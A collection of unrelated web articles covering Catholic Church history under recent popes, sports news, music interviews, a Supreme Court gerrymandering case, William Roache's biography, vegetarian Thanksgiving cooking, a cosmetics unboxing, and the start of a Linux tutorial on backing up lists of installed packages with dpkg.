peoples,” which asserted that the global economy should serve the many, not just the few. Updating the Church’s teachings to take account of widespread poverty and inequality, the Pontiff recognized the right to a just wage, security of employment, and decent working conditions. He even recognized the right to join a union.  Not everybody shared the vision of Catholicism as an urgent and uplifting force for social justice, though many people in South America and other developing areas of the world did. (In some places, it became known as “liberation theology,” a phrase coined by the Peruvian priest Gustavo Gutierrez.) Many older priests, including the venerable Canon Flynn, who oversaw my local church, Our Lady of Lourdes, had little time for innovations. They were content to celebrate the sacraments as they always had, saying Mass every day, issuing the last rites to stricken parishioners, and doling out “three Our Fathers and three Hail Marys” to penitents, such as my young self, who came to confess their sins. But the energy and the future of the church appeared to rest with the modernizers.  This was despite the fact that Paul VI also reaffirmed many of the Vatican’s traditional teachings on social issues, such as extramarital sex, birth control, homosexuality, and enforced celibacy for priests and nuns. Paul was hardly a revolutionary. He wasn’t willing to challenge the harsh, self-denying ordinances that a series of Roman popes had foisted on Christianity during the Middle Ages. But in calling for peace and social justice, in reaching out to other faiths, in traveling extensively—he was known as “the Pilgrim Pope”—and in making some reforms at the Vatican, such as surrendering his tiara (the papal crown) and barring cardinals over the age of eighty from voting in papal elections, he seemed interested in reconciling the Church to modern reality.  With the arrival of Pope John Paul II, in 1979, all that started to change. In many ways, Karol Wojtyla was an admirable man: a part of the Polish resistance against the Nazis; a vocal opponent of wars and militarism (in 2003, he criticized the invasion of Iraq); a supporter of canceling debts in the developing world; and a massively charismatic leader. In theological and practical terms, though, he was a dreadful throwback. With the Cardinal Joseph Ratzinger, the future Benedict XVI, at his side, as the Vatican’s chief theologian, he set about unmaking much of the modernization project of the previous twenty years. He issued lengthy and emphatic rulings condemning abortion, birth control, and homosexuality. He dismissed calls for the relaxation of the celibacy rules for priests, and for the ordination of women. He criticized liberation theology and surrounded himself with dyed-in-the-wool conservatives like Ratzinger. Within the hierarchy of the Church, questioning traditional teachings, even gently, became a potential career-ender.  After John Paul died, in 2005, and Ratzinger took over, the conservative counter-offensive continued. Indeed, it intensified. The Vatican eased restrictions on the Latin Mass and invited back into the Church some excommunicated members of the Society of Saint Pius X, an ultra-conservative group dedicated to reversing the Second Vatican Council. (One member of the group, an English bishop called Richard Williamson, turned out to be a Holocaust denier. Last year, belatedly, the Society expelled him.) In criticizing the “culture of relativism” in modern societies, and “the anarchic freedom that wrongly passes for true freedom,” Benedict made clear that he saw his primary mission not as extending and enlarging the Catholic Church but as purifying it, by which he didn’t just mean dealing with the child-abuse scandal. He meant casting off extraneous growths and getting the Church back to what he saw as its proper roots. If this process alienated some current and former members of the faith, so be it. Benedict said numerous times that the Church might well be healthier if it was smaller.  In a 2011 interview with the German newsmagazine Der Spiegel, Hans Küng, a dissident Swiss theologian who knew Pope Benedict when they were both young priests in Germany, made a telling comparison between him and Vladimir Putin, pointing out that the two leaders had inherited a series of democratic reforms they set out to reverse. Putin and Benedict both “placed their former associates in key positions and sidelined those they didn’t like,” Küng said. He added:  One could draw other parallels: the disempowerment of the Russian parliament and the Vatican Synod of Bishops, the degradation of Russian provincial governors and of Catholic bishops to make them nothing but recipients of orders; a conformist ‘nomenclature’; and a resistance to real reforms.… Under the German pope, a small, primarily Italian clique of yes-men, people with no sympathy for the calls to reform, were allowed to come into power. They are partly responsible for the stagnation that stifles every attempt at modernization of the church system.  The strategy of circling the wagons and seeking to defy the world was displayed, to terrible effect, in the Church’s reaction to the child-abuse scandal. As the Vatican official that John Paul II asked to deal with the crisis when it broke, Benedict was presented with extensive evidence that sexual abuse was widespread and tolerated by church authorities. But it wasn’t until many years later, when tremendous damage had already been done and many further crimes had been committed, that Benedict, as Pope, apologized for the acts of pedophiles in cassocks, adopted a zero-tolerance policy for the Church, and met with some of the victims. Even then, though, say some critics, he and his colleagues in the Vatican resisted efforts to find and punish the perpetrators.  “His record was terrible,” David Clohessy, executive director of the twelve-thousand-strong Survivors’ Network of those Abused by Priests, told The Guardian. “He knows more about clergy sex crimes and cover-ups than anyone else in the Church, yet he has done precious little to protect children.” From Ireland, where investigations are continuing into extensive abuse at church-run orphanages and schools, John Kelly, one of the founders of the country’s Survivors of Child Abuse group, said, “I’m afraid to say Pope Benedict won’t be missed, as the Vatican continued to block proper investigations into the abuse scandals during his term in office.… For us, he broke his word.”  As a result of the sex scandals and the Vatican’s futile attempt to turn back the clock, Pope Benedict’s Church is in increasingly perilous shape. Throughout much of the developed world, the number of people attending services is declining steadily, and yet there is a tremendous shortage of priests. In places like Ireland and Benedict’s own Germany, young people are deserting the Church in droves. Even in developing countries like Brazil, the Church is facing challenges from other creeds.  Of course, in a religion of more than a billion, there are some bright spots and some inspiring individuals. When I went home to Leeds not so long ago, I found that an enthusiastic young Polish priest had taken over my childhood church and was trying to save it from closure. To do some good, and raise some money, he was planning to turn the rectory into a halfway house for young offenders. Listening to him celebrating Mass like a man possessed, I was reminded of the Catholicism of the Sermon on the Mount and of St. Francis of Assisi—the Catholicism that the nuns had tried to drill into me decades before.  In Rome, however, the conservative theologians and placeholders are still running the show. Sadly, that is likely to continue. “During [Benedict’s] time in office,” Küng noted, “he has ordained so many conservative cardinals, that amongst them is hardly a single person to be found who could lead the Church out of its multifaceted crisis.”  Photograph: Stefano Dal Pozzolo/Getty.
-Over the past two seasons, Lloyd Sam has emerged as one of the foremost attacking threats on the New York Red Bulls' roster. After RBNY's 3-2 win over the Chicago Fire on September 11, 2015, he has the statistical basis of a candidacy for being one of the club's greatest all-round attacking players of all time.  The moment that advanced his claim arrived in the 38th minute, when Sam squeezed a deflected cross through traffic to Mike Grella, and the two-time winner of OaM's Goal of the Month competition found the net with a quick turn-and-shoot maneuver.  That was Sam's seventh assist in all competitions for RBNY this season. More pertinently, it was his 20th assist in all competitions for the club. He is the 12th player in history to record 20 career assists for this team.  In the match preceding the Chicago game - against D.C. United - Sam became the 12th player in history to score 20 career goals for the club.  Not many players have scored 20 for RBNY (and the MetroStars) and not many have recorded 20 assists. How many have hit both landmarks in a career for the club? Five. Lloyd Sam is the fifth player of all time to tally 20 goals and 20 assists (in all competitions) for the New York Red Bulls. (With thanks to MetroFanatic.com's stats archive.)  Name Games Played Games Started Minutes Goals Assists Thierry Henry 135 130 11510 52 49 Amado Guevara 117 114 10284 39 39 Clint Mathis 110 99 8839 45 26 Dane Richards 176 148 13413 23 30 Lloyd Sam 97 77 6627 20 20  Congratulations, Lloyd! Welcome to the 20/20 club. Looking forward to the next milestone in your RBNY career.
-The Raiders were beaten badly by the Broncos, 35-6. It left many fans thinking the bye week may have come at a perfect time as it allowed the team to seek to make some major changes. And to make those changes, it would probably have to come in the way of personnel. Dennis Allen said today that not only have there not been any additions, but the team didn't even have any players in for a workout.  "I wouldn't expect a bunch of wholesale changes," added Allen. "We've put a lot of time into the guys out there that we have on the field but we're gonna continue to evaluate that as we go through and whatever lineup changes that we feel are necessary to maybe give us a boost and help us play a bit better, we'll make those changes."  This suggests there could be some scheme and lineup changes but whatever those changes, there will be no additional players with which to work. The only addition will be Andre Carter who was signed two weeks ago and has yet to take the field for the team.  So, if you were hoping for blockbuster trades during the bye week, this will be a disappointment. On the anniversary of the death of Al Davis, here is another reminder that this isn't the same Raiders.
-The Baltimore dream pop band Beach House comes out with its fifth studio album, "Depression Cherry," later this month. Here & Now's Jeremy Hobson speaks with both members of the duo - Alex Scally and Victoria Legrand - about their new album, their collection of organs, their friendship and why it can be hard to figure out how to end a song.  Interview Highlights: Victoria Legrand & Alex Scally  On the album's meaning and how it's different from past work  Victoria Legrand: "I think at this point, this album continues to change meaning for me on a daily basis. But if anything, it's full of many things. Love, pain, getting older, dealing with loss, letting go. It's really ultimately whatever the listener feels in response to it."  On the formation of the band  Alex Scally: "We were both just kind of knocking around Baltimore right in our early 20s, and met doing a different musical project, and then this kind of grew out of it over 10 years ago now, which is crazy."  Legrand: "Before Beach House, I was a student, I was into theater, I was writing music on my own. It's just that once I met Alex, life changes and I think life changes fast sometimes, you know, when you meet somebody and it's like, it feels like fate is playing its hand. The rest is kind of history at this point."  On the band's unique sound  Scally: "I think it's probably complicated, because part of it is just the actual instruments we use. Guitar, we play with guitar and organs and drum machines and reverb and stuff. But I think part of it I think is also just intrinsic to our own musical personalities that are like fingerprints to us, just kind of like, 'What do our brains make when we make something?'
-Watch The Civil Wars Live Up To Their Name In A Behind-The-Scenes Video  Enlarge this image toggle caption Allister Ann/Courtesy of the artist Allister Ann/Courtesy of the artist  The Civil Wars are a duo whose interchanges, onstage and on the 2010 debut album Barton Hollow, fascinated fans with their magnetic pull and expressiveness. Joy Williams and John Paul White, singer-songwriters whose own separate careers had stalled at different crossroads, came together by accident and quickly became soul mates. Produced by Nashville veteran Charlie Peacock, Barton Hollow rocketed up the iTunes and Billboard charts on the strength of Internet fandom and the pair's spellbinding live performances. Barton Hollow went gold and won two Grammy Awards, for Best Country Duo/Group Performance and Best Folk Album.  Continued success seemed inevitable for The Civil Wars, especially after Taylor Swift took them up as collaborators on a song for the Hunger Games soundtrack. (That song, "Safe & Sound," also won a Grammy.) Many more accolades followed, but in the midst of a European tour, long-simmering problems erupted between Williams and White, and the band went on indefinite hiatus.  Before that tour, they'd started to make their second album, partnering with Peacock again. Latent differences, kept at bay by the force of their musical connection and the excitement of their rapid rise, soon emerged. "I picked up on the tension right from the start of the recording in September 2012," Peacock wrote in an email. (While in the studio, the duo made a behind-the-scenes video, viewable here for the first time, which documents that tension.) "I wrote it off as lingering fatigue, and a widening gap between a northerner worker bee full of analysis, inspiration and work ethic (Joy), and the poster child for southern rock mythology (JP) — where it's always thought best to wait on the inspiration with the least amount of talking about music.  "Given the tension, I became the interpreter, helping to navigate the differing styles of working, and also taking on the needed role of ordering the work at hand," he continued. "And, most importantly, I like to think I was encouraging to both of them in their very different ways of working. I feel like I'm rambling a bit, so maybe in short, this record revealed much more of what they did NOT have in common, in spite of their incredible symbiotic musicality. I felt like my job was to always be in record, capture everything, and pray to recognize greatness when I heard it."  Despite dissolving The Civil Wars (for now, at least), Williams and White diligently worked to complete the album. Now it's about to be released eponymously. Promotion is tricky when a project's two main players aren't talking to each other — a situation Williams revealed in an Associated Press interview this week. One thing the no-longer-perfect partners did was make a music video for the song, "The One That Got Away," which includes shots that also appear in the behind-the-scenes video.  YouTube  Working with the Southern production company 1504 Pictures, Williams and White (and their new major-label partner, Columbia Records) have shaped a document that speaks as much in song fragments and glimpses of downtime as it does in the abbreviated interviews Williams and White separately provide. Williams is more forthcoming, focusing on the idea that great art can arise from conflict. White, a cooler character, talks about enjoying playing his guitar and deliberately keeping the songs' meanings vague. Fans can draw their own conclusions from scenes that show the singers barely acknowledging each other most of the time — but then locking into that undeniable empathetic groove when the music takes over.  "There were moments when John Paul would pick up a guitar and he and Joy would transport to a different place," director Mark Slagle of 1504 Pictures said in an email. "You can see it when John Paul plays [the new song] 'I Had Me A Girl' in the control room and Joy starts moving with the melody. There was definitely a creative push and pull, but watching them grow a song from nothing, giving and taking, was incredibly inspiring."  The duo's in-studio process made for an album that's somehow both raw and carefully modulated, a kind of musical Rashomon that reflects on devastating events from varied perspectives that both intertwine and contradict each other. Williams says that the story of the band is all there in the recording. It's easy to sink into gossip from that point — "I wish you were the one that got away" is certainly a suggestive lyric — but the music, partially revealed here, demands more.  "Honestly, me connecting the lyrics to the situation happened over time and not immediately," says Peacock, who's only behind the scenes in the behind-the-scenes video. "It really wasn't until they'd finished the bulk of their recording and gone off to Europe, and I was sitting with the tracks alone that I realized, 'Oh my, it's all here — they really aren't getting along!' In some sort of incredibly ironic twist, I suppose creating the music together was the best way to deal with it. They mostly kept their cool though. I co-wrote 'The One That Got Away' with them in the studio and I never had any sense that they were anything but respectful as co-creators, and from my perspective, really at the top of their game. Inside the process, I think they were both all about the art and nothing else."  Slagle and 1504 also put the art first, filming ways that complement the clear-as-a-mountain-river directness of The Civil Wars sound. "A lot of the emotion comes from the music itself, and we didn't want any tensions to overshadow the music. That said, we shot the interviews in a first-person format to create as direct a connection as possible between Joy, JP and fans."  Like The Civil Wars album itself, which will be released August 6, this short trip inside a troubled process leaves room for speculation, but steers the listener (or viewer) to put the powerful, rewarding music first. As for the duo's future, Peacock holds out hope.  "No question, people are going to be listening to this new music, and the two of them will go on to make more worthy music, even if they're apart," he wrote. "That said, my number one hope is forgiveness and reconciliation for the two of them. One of the most satisfying and uniquely human actions is the ability to forgive and receive forgiveness. It's sets the stage for a thousand do-overs. Like a lot of people, the two of them singing together is one do-over I'd pay big money to hear and see."
-Q: Most of Dion Waiters' minutes should go to Tyler Johnson. Dion is just not a player worth investing in. I'm sure he puts maximum effort. Some players have it and some just don't. -- Chris, Orlando.  A: These certainly are interesting times with the Heat, with Dion standing somewhat as the focus of the Heat's perimeter offense, be that because of other players deferring or Dion's confidence. Understand, after playing alongside Dwyane Wade, players such as Josh Richardson and Tyler Johnson have a certain natural inclination to defer. So you wind up with Dion getting the shot totals he has in the past two games (albeit in the absence of Goran Dragic), and taking the most meaningful shots against the Spurs and Hawks. And that's the fine line that Erik Spoelstra has to walk at this still-preliminary stage of the season: Do you put the ball in the hands of your young players and live with the consequences? Or do you go with the player who, at that moment, has the most confidence and experience in such situations. The Waiters situation is similar to the Heat's situation last season with Joe Johnson. There was talk about both continuing on with the team when the salary-cap reality going forward spoke otherwise. The difference at the end of last season with Johnson is that the Heat were admittedly living in the moment. Now it already appears that future moments are the priority.  Q: Haven't we seen all there is with Josh McRoberts over the years? He isn't a scorer. He is a flash-first player and hesitant to shoot even when wide open. His 3-point game is average and not enough to spread the floor. I guess I'm not seeing the upside or possibilities with Josh -- Paul, Fort Lauderdale.  A: Which is why I believe these current minutes are important, to finally get a read on what you have, to possibly showcase what you have, or to at least then know how to best move forward. This is not a team or an offense that can afford to have bystanders when it comes to scoring. Erik Spoelstra has been very good about issuing green lights, even insisting on it with players, such as Luke Babbitt. The Heat need offense. They need Josh McRoberts' offense. They should consider it almost insubordination if there is not an effort in that area.  Q: Hi, Ira. I see so many questions and comments about trading Goran Dragic right now. However, wouldn't it make better sense to wait until the trade deadline and let other teams' seasons play out? Wouldn't we have much more leverage if a team in the running is in need at that time? We are 10 games in and it's clear that this is a rebuild season, so what's the rush? Am I missing something? -- Wolf, New York.  A: You are not missing anything. And trades don't normally happen this early in a season, anyway. I believe this is more of a case of fans thinking out loud, forecasting what might be the best move for the team, not necessarily when something might happen. The trading deadline makes far more sense, especially when you consider that is when the Heat acquired Goran in the first place. Plus, by then you can have a far greater read of the possibilities at point guard of Tyler Johnson and Josh Richardson.
-Supreme Court Agrees To Hear Wisconsin Gerrymandering Case  Enlarge this image toggle caption J. Scott Applewhite/AP J. Scott Applewhite/AP  The U.S. Supreme Court has agreed to take up an appeal over electoral districts in Wisconsin after a lower court ruled that the state's Republican-drawn map constitutes an "unconstitutional partisan gerrymander."  It's the first time in more than a decade that the nation's highest court will take up the issue of partisan gerrymandering, or drawing voting districts with the aim of strengthening one political party.  And it gives the court an opportunity to formally determine a metric on what constitutes unlawful gerrymandering, which could have major implications for the way voting districts are drawn in other states.  The Supreme Court has weighed in on the issue of race and congressional district-drawing, most recently last month when it rejected two North Carolina districts, as The Two-Way reported.  But the court has not ruled on "purely partisan gerrymanders" since 2004, as NPR's Nina Totenberg reported:  "In 2004, a four-member Supreme Court plurality all but ruled out challenges to even extreme partisan gerrymanders, while four members of the court would have allowed some limited challenges. Justice Anthony Kennedy cast the fifth and deciding vote, declaring that he might someday embrace a challenge to a partisan gerrymander if someone could come up with workable standards."  The defendants in this case, Gill v. Whitford, claim to have come up with such a standard. Here's how Shawn Johnson of Wisconsin Public Radio explained it:  "The metric that they came up with they called the efficiency gap, and it measures what they call wasted votes. Let's say you have a strongly Democratic district. And if a Democrat got a lot of votes there, but they only get one seat, they're saying that they wasted a lot of votes to get those seats. If Democrats come up just short in a lot of other districts, they're saying they wasted those votes as well. "So they compare that district-by-district to the statewide total, and that gives them this efficiency gap measure. And by that metric, plaintiffs looked back at redistricting plans throughout the U.S., going back to 1972, and Wisconsin's redistricting plan was one of the most strongly political gerrymandered in history."  Last November, a panel of federal judges ruled against the state's electoral district map, which was drawn by Republican lawmakers after the 2010 census. As Johnson said, then-President Barack Obama did well in the state when he was re-elected in 2012, and "yet Democrats gained no seats in the Legislature, remained deeply in the minority."  Wendy Weiser from New York University's Brennan Center for Justice said in a statement Monday that "gerrymandering has become so aggressive, extreme, and effective that there is an urgent need for the Supreme Court to finally step in and set boundaries."  Supporters of Wisconsin's map say that "the election results it produced are similar to those under earlier court-drawn maps," as The Associated Press reports.  The lower court's ruling "ordered new maps drawn in time for the 2018 elections," the wire service adds. And "that work is proceeding."
-For other people with the same name, see William Roach (disambiguation)  William Patrick Roache[3] MBE (born 25 April 1932)[4] is an English actor. He has played Ken Barlow in the soap opera Coronation Street since its first episode on 9 December 1960. He is listed in the Guinness World Records as the longest-serving male television star in a continuous role.[5]  Early life [ edit ]  Roache was born in Basford, Nottingham, the son of Hester Vera (née Waddicor) and Joseph William Vincent Roache.[6] He grew up in nearby Ilkeston, Derbyshire, where he attended a Steiner school set up by his grandfather in the garden of the family home.[7] His Freemason grandfather was interested in such things as hypnotism, theosophy, spiritualism, homoeopathy and esotericism, and the teachings of philosopher and educationalist Rudolf Steiner. Roache was later educated at Rydal School, which his son Linus also attended.[8]  Roache joined the British Army, and was commissioned into the Royal Welsh Fusiliers in 1953. A year later, he was promoted to the rank of lieutenant. He left the British Army in 1956 with the rank of captain. Due to an exploding mortar round during his military service, Roache suffers from tinnitus.[9]  Career [ edit ]  After leaving the army, Roache turned to acting. He appeared in various stage productions, then had uncredited roles in several films, and later small parts in television serials including Knight Errant Limited and Skyport.[10]  He played the minor role of a space centre operator in the Norman Wisdom film The Bulldog Breed. Shortly before joining Coronation Street at the beginning of the programme in 1960, Roache played the leading role in a Granada Television play called Marking Time, transmitted on ITV in 1961. In an interview with the Liverpool Post in 2007, Roache recalled "I played a young soldier in Germany who fraternised with a German girl, although I can't remember now how it ended. It was highly prestigious, though, and I have tried to hunt it down but there is no trace of it." [11] He added: "But Tony Warren, who created Coronation Street, saw it and thought I was right for Ken Barlow".[citation needed]  Roache is now the world's longest-serving television actor in a continuous role (as of March 2018) after the cancellation of the American soap opera in 2010 As the World Turns, where Don Hastings played Bob Hughes since October 1960 without a break.[12]  On 16 October 1985 just weeks before the 25th anniversary of his debut on Coronation Street, he appeared as the special guest on the TV show This Is Your Life.[13]  In 1999 Roache was the recipient of the British Soap Awards Lifetime Achievement Award for his role as Ken Barlow. In 2003, Roache appeared on Celebrity Stars in Their Eyes as Perry Como singing the song "Catch a Falling Star". In September and October 2005 he appeared as a celebrity contestant in Ant & Dec's Gameshow Marathon.[citation needed] He was the winner of The Golden Shot remake, progressing through to Bullseye where he was beaten by television presenter Vernon Kay. He later entered All Star Family Fortunes, hosted by Kay, but lost by two points to his competitors.[citation needed]  Roache's 2008 autobiography is entitled Soul on the Street. It focuses on many of his life experiences and contains a significant amount of philosophical content in which Roache affirms his belief in the afterlife. In October 2008, he revealed on BBC Breakfast that he had a two-year feud with fellow Coronation Street, the late actress Pat Phoenix, during which they did not speak to each other, stemming from her changing a scene involving the two of them. However, they did reconcile and became good friends.[citation needed]  On 13 April 2012, Piers Morgan interviewed Roache for his ITV series Piers Morgan's Life Stories. On 26 September 2012 Roache was featured on the BBC series Who Do You Think You Are?, researching his family history.[14] He is currently Coronation Street's longest serving actor, having been on the show from day 1.[citation needed]  Personal life [ edit ]  Roache lives in Wilmslow, Cheshire.[15] His eldest son, by his first wife Anna Cropper (1938–2007), is actor Linus Roache (born 1964). The couple also had a daughter, Vanya (1967-2018). The couple were married from 1961 until their divorce in 1974. Roache married his second wife, Sara McEwan Mottram, in 1978. She died suddenly on 7 February 2009 at their home at the age of 58.[16][17]  With Sara, he had a daughter named Verity (born 1981) and a younger son, the actor James Roache, christened William (born 1985). A second daughter, Edwina, died aged 18 months after her birth on 26 April 1983 from acute bronchial pneumonia on 16 November 1984.[18] His daughter Vanya died on 2 March 2018, aged 50.  In 1991, Roache won a libel action against The Sun, which had described him as boring and unpopular with his fellow Coronation Street stars. He was awarded £50,000 damages by the jury, the same amount that he had turned down in an out-of-court settlement offered by the newspaper before the case. As a result, he was liable for the £120,000 costs incurred. Roache sued his law firm for negligence in 1998, and was declared bankrupt in April 1999.[19][20]  Roache is a supporter of the Conservative Party. In 2007, as a guest for Daily Politics, he championed Sir John Major as Britain's greatest post-war prime minister.[21] He backed disgraced then-Conservative MP Neil Hamilton in the 1997 election against Martin Bell.[22][23]  Roache became patron of the Ilkeston-based production company Sustained Magic Ltd in 2006.[24]  Roache is a vegetarian because he "doesn't want animals being killed for him".[25] He wrote about his interest in astrology in his biography, which he learned by taking a correspondence course from the Faculty of Astrological Studies. He said he had impressed members of the Coronation Street cast by the accuracy with which he read their astrological charts for them.[26]  Arrest, trial and acquittal [ edit ]  On 1 May 2013, Roache was arrested by Lancashire Police on suspicion of having raped a 15-year-old girl in 1967, an allegation he denied.[15][27][28] The Crown Prosecution Service subsequently announced that he was to be charged with two counts of rape.[29] There was a preliminary hearing in a Magistrates' court on 14 May 2013[30] and a Crown Court hearing took place on 10 June 2013.[31] On 6 June 2013, Roache was charged with a further five counts of indecent assault against girls aged between 12 and 16.[32][33] Roache appeared at Preston Crown Court on 2 September and pleaded not guilty to all charges. The full trial started on 14 January 2014 at Preston Crown Court, before Judge Anthony Russell QC.[34] During the trial, one charge was dismissed outright by the judge citing a lack of evidence and significant flaws emerged in two witnesses' accounts in relation to the other charges.[35]  On 6 February 2014, Roache was found not guilty on all charges.[35][36] Following his acquittal, Roache gave a brief statement saying that there had been "no winners" and expressing his intent to "get back to work".[35] An image of Ken Barlow had been removed from the Madame Tussauds waxwork exhibition in Blackpool due to fears it might be vandalised.[37] The waxwork was returned to the exhibition in February 2014 following Roache's acquittal.[38]  Roache resumed filming on Coronation Street in June 2014, and returned to the screen on 4 August of that year.[39]  Awards [ edit ]  Roache was awarded an MBE in the 2001 New Years Honours.[40][41]  In March 2007, he was awarded the Honorary degree of Doctor of Letters by the University of Chester in recognition of his contribution to television.[42]  Filmography [ edit ]
-A Vegetarian Thanksgiving  Thanksgiving Must-Haves Do you have special recipes and food traditions for the holidays? What one dish must be on your Thanksgiving table? Share your best holiday food stories with Kitchen Window and the NPR Community here.  You may not even miss the turkey.  On Thanksgiving, expressing gratitude through a whole baked pumpkin stuffed with chewy barley and hearty root vegetables can be the beginning of a stellar holiday season.  When fall swoops in and the days grow shorter, a plate of sweet, pureed butternut squash with caramelized shallots can help ease the transition. A whole roasted cauliflower, too, can make one almost immune to the chill outside.  I've found that even on the years we did serve turkey on Thanksgiving, the vegetarian dishes were exclaimed over and gobbled up with similar appreciation.  Even if you don't live meatlessly yourself, you'll probably have at least one vegetarian or vegan seated at the table. It's grand to offer your meat-free guests — or yourself — something a bit more substantial than a cobbled-together plate of all the traditional vegetable side dishes. Doing so needn't be intimidating or even time-consuming.  The typical holiday table groans with an abundance of side dishes, some more enticing than others (think a light saute of seasonal vegetables or roasted cauliflower rather than a cream-laden casserole). It's true that if you're skipping the turkey, there are plenty of other things to eat, but filling up on mashed potatoes and corn bread can leave one feeling a bit hollow.  This time of year is when we give thanks for the harvest and celebrate the season's bounty — and what better way to do so than by making good use of seasonal produce?  Throughout the years, my Thanksgiving table has boasted a baked tofu marinated in a sweet-and-sour sauce that caused even the turkey lovers to sigh in happiness. I've split a butternut squash in half and roasted it in a little olive oil until it turned melty and sweet. I topped it with a sort of black bean and onion stew that was certainly nontraditional but no less delicious. I've made good use of sweet potatoes, leaving out the extra sugar and mashing them into savory splendor.  I do love my vegetables — not a shred of meat has passed my lips in over a decade. I don't miss it, although the scent of that slow-roasting turkey can make me nostalgic.  When I lived on the East Coast, I played hostess for many years to a group of friends — mostly ex-pats from California — who couldn't make it home to their families for Thanksgiving. In the beginning, I kept the affair simple and simply sans turkey.  The first year I had my own apartment, my brother came down from Philadelphia to spend the holiday weekend with me. Washington, D.C., was very cold that November, and we went for a late-morning walk through Rock Creek Park. We discussed the menu we'd cook later that day — both of us were vegetarians at the time, though he has since gone back to meat — and kicked at the ice that had frozen the trail.  We dismissed a "tofurkey" — a faux-meat, soy-based version of a turkey — as being a little too strange. We considered making lasagna in a nod to the dish my aunt had made me when we'd spent Thanksgivings together, but it seemed like too much work. We thought about forgoing a main dish altogether and filling up on mashed potatoes — but no, I said. Surely we were more ambitious than that.  I came home from that chilly walk and made what would be the first of many Thanksgiving mushroom pies. I dug out a battered copy of the Moosewood Cookbook for inspiration. I sauteed mushrooms, stirred in cream and liberally added cheese. When we finished dinner that night, we could hardly eat dessert.  As the years passed and I kept cooking, adding guests and expanding my range, I lightened things up. I went to farmers markets and discovered a real appreciation for baked squash. I left out the cheese and incorporated more Brussels sprouts. I invested in wild rice and skipped anything heavy or pre-packaged.  I made vegetables the real stars.  Now when I cook my vegetarian Thanksgiving offerings, I try to prepare dishes that are light yet satisfying, and which incorporate as many vegetables as possible. Baked or roasted squash often figures prominently, especially because at this time of year the market is overflowing with colorful and diverse offerings.  I've included recipes here that are appropriate for the vegetarian or vegan at your Thanksgiving table, and which highlight fall's seasonal staples. I've also gone for a healthful approach — these dishes are packed with whole grains and call for olive oil rather than butter.  Don't be surprised if you catch your turkey-eating guests sneaking more than a few tastes.
-If you've missed the previous memebox unboxing blogposts, click here.  .  .  MEMEBOX.COM  GET $5 DISCOUNT!  OYTWD9  OPZS  INTERESTING BOXES  .  .  UNBOXING COLORBOX #1 RED  .  .  .  .  .  .  Have you bought any MEMEBOXES before?  note: this post includes affiliate links.  It has been a while girls ^^! Today I'm going to do an unboxing post of MEMEBOX - Color Box RED. It's a box including 5 full size products, all in the color RED!Just like the previous times, i'm going to give a short introduction about this website since some of you might not know what memebox is yet. If you already know, you can skip this part and go to the discount or unboxing part, otherwise… keep on reading ^_-. At the memebox website , you can purchase various Korean cosmetics including exclusive Korean beauty products and the memebox beauty box which contains lots of full size products and samples. They always have at least 5 - 6 deluxe travel size or full-size products in each box! They don't offer a monthly subscription plan at the moment, so you need to buy each box every time it comes out. Memebox will inform you when the next box comes out through e-mail that you used when registering at their website. They offer limited quantity so you gotta be quick !PRICE & SHIPPINGThe price varies per box, this one was $15.- which is not expensive at all since you will receive lots of products which are worth a lot more than $15.-. Unfortunately this box is already sold out, so you are not able to purchase it anymore. The memeboxes are shipped from South Korea. The shipping cost is $6.99. They only offer FREE express shipping when purchasing some value sets, so it may take 17-24 days until it arrives at your place if it doesn't apply to your box. They have A LOT of kinds of boxes available now compared to a few months ago, check out the whole assortment HERE Feel free to use my coupon codeto get 5% off or you can use codeat checkout. Both codes works and it will give you a discount of $5.-. These codes will expire by the end of this month.These are the boxes that I'm currently interested in. I actually wanted to buy the Etude House Memebox, but it's already sold out unfortunately. Gotta be quick girls! SUPERBOX Holika Holika - a box with Holika Holika products only!! MEMEBOX K-Style Box 4 - i've seen the previous K-style boxes and it included lots of Korean make up products! SUPERBOX Thumbs Up Bloggers' Picks - a survey was taken at the memebox beauty community, bloggers favorites in this box, oehh i'm curious! SUPERBOX Empties! - the 20K Facebook fans from Memebox have chosen their favorite memebox products. Products that they have used until they are empty! Sounds good right?Let's see what we have in this box, let's UNBOX!L' OCEAN EYE SHADOW L-35 RED - $10This eye shadow comes in various colors but I received the red color since it's the red box. It's smooth and the color is very vivid, pretty well pigmented as well. I'm more of a basic eye make up girl, so red on my eyes is a bit too much for me haha.DEARBERRY - TODAY NAIL LACQUER #21 PINK SPRINKLING 10ML - $3This brand offers 40 different shades for each day's mood.MAKEON/ TOSOWOONG GEL PENCIL LINER #04 BURGUNDY 1.2g - $10Highlight the eyes with a burgundy eyeliner, you can also create a vampy look with it. The gel texture of the liner will allow it to glide on easily along your upper/lower eye contours. The pigmentation of this gel pencil liner is amazing! I'm loving this color, but it's a pity that it does fades while rubbing, so you gotta keep that in mind after you applied this. I'm really happy with this pencil liner… also great for lazy people hahah since you don't need to sharpen it, just twist and it will come up.DEARBERRY FLIRT LIPSTICK #08 RED PARADE 3.4g - $12It's a lipstick made from naturally derived ingredients - olive oil, cocoa butter and cupuacu seed butter - this buttery smooth lipstick will melt onto your lips, flushing it with red vividness! The color is super vibrant and sexy. It's extremely smooth but it does fades when drinking and eating, so re-applying it during the day is a must.CHEEKROOM TWO COLOR LIP GLOSS 8ml - $12It's a moisturizing lip gloss, which is great for chapped lips. It provides a nice glossy finish. This lip gloss has 2 different colors, so you can create different color variations according to your mood or style. Pretty cool idea I would say ;).This box was just $15.- and this box is actually worth for around $47.-! I normally can't even buy a foundation for $15.- lol, ok maybe just a budget one. This box included less products than normal but it was also cheaper than their normal memebox prices, so i'm pretty satisfied with the amount of products in this box already. My favorite in this box gotta be the burgundy eyeliner, the color is so pretty! I sure will purchase another box since their assortment is so huge now-a-days. Also, it's hard to resist and I just want to try new Korean beauty products and this is the best way for an affordable price ^_^!
-Hardware and software failures are part of life. And that is why you need to have a backup plan. I have already written about backing up files and MySQL databases. There is no need to backup all installed binaries and software programs. The following tip will not just save your time, but both Debian/Ubuntu and CentOS/Fedora/RHEL based distro can be updated and restored when required.  In order to reinstall or restore your installed software you need to have a list of all installed software. The package manager in Linux can be used to save installed/removed packages on a source system and duplicate those changes on other systems. This post will help you through do the same.  Adblock detected 😱 PayPal/Bitcoin, or become a supporter using Patreon. My website is made possible by displaying online advertisements to my visitors. I get it! Ads are annoying but they help keep this website running. It is hard to keep the site running and producing new content when so many people block ads. Please consider donating money to the nixCraft via, or become a  HowTo: Create a Backup list of all installed software on a Debian / Ubuntu Linux  If you are using a Debian or Ubuntu Linux, use the dpkg command to list installed software:  $ dpkg --get-selections  You can store list of installed software to a file called /backup/installed-software.log, enter:  $ dpkg --get-selections > /backup/installed-software.log  HowTo: Create a Backup list of all 